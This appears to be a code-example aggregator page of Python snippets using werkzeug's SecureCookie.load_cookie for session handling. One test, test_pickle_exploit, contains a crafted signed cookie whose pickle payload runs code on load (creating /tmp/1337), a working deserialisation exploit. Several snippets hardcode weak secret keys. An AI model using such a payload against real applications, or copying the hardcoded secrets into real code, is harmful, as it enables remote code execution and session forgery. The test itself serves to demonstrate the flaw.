Python SecureCookie.load_cookie方法代码示例

# 需要导入模块: from werkzeug.contrib.securecookie import SecureCookie [as 别名]
# 或者: from werkzeug.contrib.securecookie.SecureCookie import load_cookie [as 别名]
    def test_wrapper_support(self):
        req = Request.from_values()
        resp = Response()
        c = SecureCookie.load_cookie(req, secret_key="foo")
        assert c.new
        c["foo"] = 42
        assert c.secret_key == "foo"
        c.save_cookie(resp)

        req = Request.from_values(
            headers={"Cookie": 'session="%s"' % parse_cookie(resp.headers["set-cookie"])["session"]}
        )
        c2 = SecureCookie.load_cookie(req, secret_key="foo")
        assert not c2.new
        assert c2 == c

# 需要导入模块: from werkzeug.contrib.securecookie import SecureCookie [as 别名]
# 或者: from werkzeug.contrib.securecookie.SecureCookie import load_cookie [as 别名]
def test_wrapper_support():
    req = Request.from_values()
    resp = Response()
    c = SecureCookie.load_cookie(req, secret_key=b'foo')
    assert c.new
    c['foo'] = 42
    assert c.secret_key == b'foo'
    c.save_cookie(resp)

    req = Request.from_values(headers={
        'Cookie':  'session="%s"' % parse_cookie(resp.headers['set-cookie'])['session']
    })
    c2 = SecureCookie.load_cookie(req, secret_key=b'foo')
    assert not c2.new
    assert c2 == c

# 需要导入模块: from werkzeug.contrib.securecookie import SecureCookie [as 别名]
# 或者: from werkzeug.contrib.securecookie.SecureCookie import load_cookie [as 别名]
    def get_request(self, environ):
        request = Request(environ)
        request.app = self.app
        request.translations = load_core_translations(self.app.cfg['language'])
        request.is_admin = False
        request.is_somebody = False

        cookie_name = self.app.cfg['session_cookie_name']
        session = SecureCookie.load_cookie(
            request, cookie_name, self.app.cfg['secret_key'].encode('utf-8')
        )
        request.session = session
        engine = self.app.database_engine
        user_id = session.get('uid')

        if user_id:
            admin_privilege = engine.execute(
                privileges.select(privileges.c.name=='BLOG_ADMIN')
            ).fetchone()

            admin = engine.execute(user_privileges.select(and_(
                user_privileges.c.user_id==int(user_id),
                user_privileges.c.privilege_id==admin_privilege.privilege_id
            ))).fetchone()
            request.is_somebody = True
            request.is_admin = admin is not None
        return request

# 需要导入模块: from werkzeug.contrib.securecookie import SecureCookie [as 别名]
# 或者: from werkzeug.contrib.securecookie.SecureCookie import load_cookie [as 别名]
    def setup_cookie(self):
        from screener.database import User, session
        self.session = SecureCookie.load_cookie(
            self, application.config.cookie_name,
            application.config.secret_key.encode('utf-8')
        )

        def new_user():
            user = User()
            session.add(user)
            return user

        if 'uuid' not in self.session:
            self.login(new_user(), permanent=True)
            self.session.setdefault('flashes', []).append(
                "A unique cookie has been sent to your browser that "
                "enables you to see your private images when browsing the "
                "categories.<br>Otherwise, you can only access them by "
                "their direct URL.")
        else:
            user = User.query.get(self.session.get('uuid'))
            if not user:
                self.login(new_user(), permanent=True)
                self.session.setdefault('flashes', []).append(
                    "A unique cookie has been sent to your browser that "
                    "enables you to see your private images when browsing the "
                    "categories.<br>Otherwise, you can only access them by "
                    "their direct URL.")
            else:
                self.login(user)

        self.user.update_last_visit()
        session.commit()
        self.cleanup_old_sessions()

# 需要导入模块: from werkzeug.contrib.securecookie import SecureCookie [as 别名]
# 或者: from werkzeug.contrib.securecookie.SecureCookie import load_cookie [as 别名]
    def init_cookie(self):
        """
        Ensures that a cookie'd subject id exists
        """

        #self._app.logger.debug("Init cookie hit for {}".format(request.path))

        # Don't bother setting the cookie on favicon hits
        # TODO: Make this more gooder
        if request.path == '/favicon.ico/':
            request.exp_enabled = False
            return

        exp_cookie = SecureCookie.load_cookie(request, key=self.FLASK_EXPERIMENT_COOKIE_NAME, secret_key=self._app.secret_key)
        subj_id = exp_cookie.get('id')
        if not subj_id:
            subj_id = uuid4().hex
            exp_cookie['id'] = subj_id

        set_exp = request.args.get('experiment')
        set_var = request.args.get('variant')

        request.exp_cookie = exp_cookie
        request.experiments = self.mgr.get_subject_experiments(subj_id)

        if set_exp and set_var:
            self.mgr.update_subject_experiments(subj_id, set_exp, set_var)
            request.experiments = self.mgr.get_subject_experiments(subj_id)

        #self._app.logger.debug("Subject {} experiments {}".format(
            #subj_id, request.experiments))

        request.exp_enabled = True

# 需要导入模块: from werkzeug.contrib.securecookie import SecureCookie [as 别名]
# 或者: from werkzeug.contrib.securecookie.SecureCookie import load_cookie [as 别名]
def tag_session(req):
    app = get_app()
    cookie_name = app.conf['sessions/cookie_name']
    session = SecureCookie.load_cookie(req, cookie_name,
                                           app.conf['sessions/secret'])
    req.session = session
    local.session = session

# 需要导入模块: from werkzeug.contrib.securecookie import SecureCookie [as 别名]
# 或者: from werkzeug.contrib.securecookie.SecureCookie import load_cookie [as 别名]
    def __init__(self, environ, app=None):
        RequestBase.__init__(self, environ)
        self.queries = []
        self.metanav = []
        self.navbar = []
        self.ctxnavbar = {}

        if app is None:
            app = get_application()
        self.app = app

        engine = self.app.database_engine

        # get the session and try to get the user object for this request.
        from ilog.database import db, User
        user = None
        cookie_name = app.cfg['cookie_name']
        session = SecureCookie.load_cookie(self, cookie_name, app.secret_key)
        user_id = session.get('uid')
        if user_id:
            user = User.query.options(
                db.eagerload('groups'), db.eagerload('groups', 'privileges')
            ).get(user_id)
        if user is None:
            self.locale = self.app.default_locale
            self.translations = self.app.default_translations
            user = User.query.get_nobody()
        else:
            self.locale = Locale(user.locale)
            self.translations = i18n.load_translations(self.locale)
        self.user = user
        self.user.update_last_login()
        db.commit()
        self.session = session

# 需要导入模块: from werkzeug.contrib.securecookie import SecureCookie [as 别名]
# 或者: from werkzeug.contrib.securecookie.SecureCookie import load_cookie [as 别名]
 def open_session(self, request):
     """Creates or opens a new session.  Default implementation requires
     that `securecookie.secret_key` is set.
     """
     key = self.secret_key
     if key is not None:
         return SecureCookie.load_cookie(request, self.session_cookie_name,
                                         secret_key=key)

# 需要导入模块: from werkzeug.contrib.securecookie import SecureCookie [as 别名]
# 或者: from werkzeug.contrib.securecookie.SecureCookie import load_cookie [as 别名]
    def open_session(self, request):
        """Creates or opens a new session.  Default implementation stores all
        session data in a signed cookie.  This requires that the
        :attr:`secret_key` is set.

        :param request: an instance of :attr:`request_class`.
        """
        key = self.secret_key
        if key is not None:
            return SecureCookie.load_cookie(request, self.session_cookie_name, secret_key=key)

# 需要导入模块: from werkzeug.contrib.securecookie import SecureCookie [as 别名]
# 或者: from werkzeug.contrib.securecookie.SecureCookie import load_cookie [as 别名]
def load_session_from_cookie(request):
    secret = current_app.config.get("session_secret")
    if secret:
        session_name = current_app.config.get("session_cookie_name") or "session"
        local.session = SecureCookie.load_cookie(request, session_name, secret_key=secret)
        request._flash = local.session.pop("_flash", {})
        csrf_token()  # all session should have csrf token
    else:
        local.session = {}
    local.session["_flash"] = {}

# 需要导入模块: from werkzeug.contrib.securecookie import SecureCookie [as 别名]
# 或者: from werkzeug.contrib.securecookie.SecureCookie import load_cookie [as 别名]
	def open_session(self, resource):
		"""creates or opens a new session"""
		key = self.secret_key
		if key is not None:
			return SecureCookie.load_cookie(
					# here, we should use global request
					# which is a context-local object
          # request,  # so this request is the global request...
					Request(environ),
					# request,
					self.session_cookie_name,
					secret_key=key
					)

# 需要导入模块: from werkzeug.contrib.securecookie import SecureCookie [as 别名]
# 或者: from werkzeug.contrib.securecookie.SecureCookie import load_cookie [as 别名]
    def load_secure_cookie(self, key):
        """Loads and returns a secure cookie from request. If it is not set, a
        new secure cookie is returned.

        This cookie must be saved using a response object at the end of a
        request. To get a cookie that is saved automatically, use
        :meth:`SessionStore.get_secure_cookie`.

        :param key:
            Cookie unique name.
        :return:
            A ``werkzeug.contrib.SecureCookie`` instance.
        """
        return SecureCookie.load_cookie(self.request, key=key,
            secret_key=self.config['secret_key'])

# 需要导入模块: from werkzeug.contrib.securecookie import SecureCookie [as 别名]
# 或者: from werkzeug.contrib.securecookie.SecureCookie import load_cookie [as 别名]
def test_pickle_exploit():
    """
    Exploit SecureCookie use of pickle for running arbitrary code.

    The used pickle is:
    >>> "(S'/tmp/1337'\np1\nS'w'\np2\ni__builtin__\nopen\np3\n(dp4\nb."
    
    """
    import os
    CRAFTED_COOKIE = "1uy1JJYjjPFcZmyy235olMQoYbU=?foo=KFMnL3RtcC8xMzM3JwpwMQpTJ3cnCnAyCmlfX2J1aWx0aW5fXwpvcGVuCnAzCihkcDQKYi4="
        
    req = Request.from_values(headers={
        'Cookie':  'session="%s"' % CRAFTED_COOKIE
    })
    c = SecureCookie.load_cookie(req, secret_key='foo')
    assert not c.new
    assert os.path.exists('/tmp/1337')

# 需要导入模块: from werkzeug.contrib.securecookie import SecureCookie [as 别名]
# 或者: from werkzeug.contrib.securecookie.SecureCookie import load_cookie [as 别名]
    def __init__(self, environ):
        super(Request, self).__init__(environ)
        self.first_visit = False
        session = SecureCookie.load_cookie(self, COOKIE_NAME, local.application.secret_key)
        user_hash = session.get("user_hash")

        if not user_hash:
            session["user_hash"] = generate_user_hash()
            self.first_visit = True
        self.user_hash = session["user_hash"]
        self.session = session

        # language is limited to english until translations are ready
        lang = session.get("locale")
        if lang is None:
            lang = "en"
            # lang = (self.accept_languages.best or 'en').split('-')[0]
        self.locale = Locale.parse(lang)

# 需要导入模块: from werkzeug.contrib.securecookie import SecureCookie [as 别名]
# 或者: from werkzeug.contrib.securecookie.SecureCookie import load_cookie [as 别名]
    def dispatch(self, environ, start_response):
        local.application = self
        request = Request(environ)
        local.url_adapter = adapter = url_map.bind_to_environ(environ)

        request.debug = self.debug
        
        request.session = SecureCookie.load_cookie(request, 
                                                   key='com.kinaj.session', 
                                                   secret_key='kinaj')
        
        try:
            endpoint, values = adapter.match()
            handler = getattr(views, endpoint)
            response = handler(request, **values)
            
        except NotFound, e:
            response = views.not_found(request)
            response.status_code = 404